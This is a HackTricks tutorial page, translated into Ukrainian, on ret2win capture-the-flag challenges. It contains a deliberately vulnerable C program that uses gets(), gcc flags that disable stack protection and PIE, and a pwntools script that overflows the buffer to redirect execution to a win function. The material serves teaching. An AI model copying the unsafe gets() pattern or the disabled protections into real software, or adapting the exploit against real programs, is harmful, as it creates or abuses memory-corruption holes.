hacktricks/binary-exploitation/stack-overflow/ret2win
2024-07-18 22:16:42 +00:00
..
README.md Translated ['binary-exploitation/basic-stack-binary-exploitation-methodo 2024-07-18 22:16:42 +00:00
ret2win-arm64.md Translated ['binary-exploitation/basic-stack-binary-exploitation-methodo 2024-07-18 22:16:42 +00:00

Ret2win

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Basic Information

Ret2win завдання є популярною категорією в Capture The Flag (CTF) змаганнях, особливо в завданнях, що стосуються binary exploitation. Мета полягає в тому, щоб експлуатувати вразливість у даному бінарному файлі для виконання конкретної, не викликаної функції в бінарному файлі, яка часто називається чимось на кшталт win, flag тощо. Ця функція, коли її виконують, зазвичай виводить прапор або повідомлення про успіх. Завдання зазвичай передбачає перезаписування адреси повернення в стеку, щоб відвести потік виконання до бажаної функції. Ось більш детальне пояснення з прикладами:

C Example

Розглянемо просту C програму з вразливістю та функцією win, яку ми маємо намір викликати:

#include <stdio.h>
#include <string.h>

void win() {
printf("Congratulations! You've called the win function.\n");
}

void vulnerable_function() {
char buf[64];
gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow.
}

int main() {
vulnerable_function();
return 0;
}

Щоб скомпілювати цю програму без захисту стеку та з вимкненим ASLR, ви можете використати наступну команду:

gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
  • -m32: Скомпілювати програму як 32-бітний бінарний файл (це необов'язково, але поширено в CTF завданнях).
  • -fno-stack-protector: Вимкнути захист від переповнень стеку.
  • -z execstack: Дозволити виконання коду в стеку.
  • -no-pie: Вимкнути позиційно незалежний виконуваний файл, щоб адреса функції win не змінювалася.
  • -o vulnerable: Назвати вихідний файл vulnerable.

Python Exploit using Pwntools

Для експлойту ми використаємо pwntools, потужний фреймворк CTF для написання експлойтів. Скрипт експлойту створить корисне навантаження для переповнення буфера та перезапису адреси повернення адресою функції win.

from pwn import *

# Set up the process and context for the binary
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path

# Find the address of the win function
win_addr = p32(0x08048456)  # Replace 0x08048456 with the actual address of the win function in your binary

# Create the payload
# The buffer size is 64 bytes, and the saved EBP is 4 bytes. Hence, we need 68 bytes before we overwrite the return address.
payload = b'A' * 68 + win_addr

# Send the payload
p.sendline(payload)
p.interactive()

Щоб знайти адресу функції win, ви можете використовувати gdb, objdump або будь-який інший інструмент, який дозволяє вам перевіряти бінарні файли. Наприклад, з objdump ви можете використовувати:

objdump -d vulnerable | grep win

Ця команда покаже вам асемблер функції win, включаючи її початкову адресу.

Скрипт на Python надсилає ретельно підготовлене повідомлення, яке, оброблене функцією vulnerable_function, переповнює буфер і перезаписує адресу повернення в стеку адресою win. Коли vulnerable_function повертається, замість повернення до main або виходу, він переходить до win, і повідомлення виводиться на екран.

Захист

  • PIE повинен бути вимкнений, щоб адреса була надійною між виконаннями, інакше адреса, де буде зберігатися функція, не завжди буде однаковою, і вам знадобиться якийсь leak, щоб з'ясувати, де завантажена функція win. У деяких випадках, коли функція, що викликає переповнення, є read або подібною, ви можете зробити Часткове Перезаписування 1 або 2 байтів, щоб змінити адресу повернення на функцію win. Через те, як працює ASLR, останні три шістнадцяткові нібли не рандомізовані, тому є 1/16 шанс (1 нібль) отримати правильну адресу повернення.
  • Stack Canaries також повинні бути вимкнені, інакше скомпрометована адреса повернення EIP ніколи не буде виконана.

Інші приклади та посилання

Приклад ARM64

{% content-ref url="ret2win-arm64.md" %} ret2win-arm64.md {% endcontent-ref %}

{% hint style="success" %} Вчіться та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вчіться та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримати HackTricks
{% endhint %}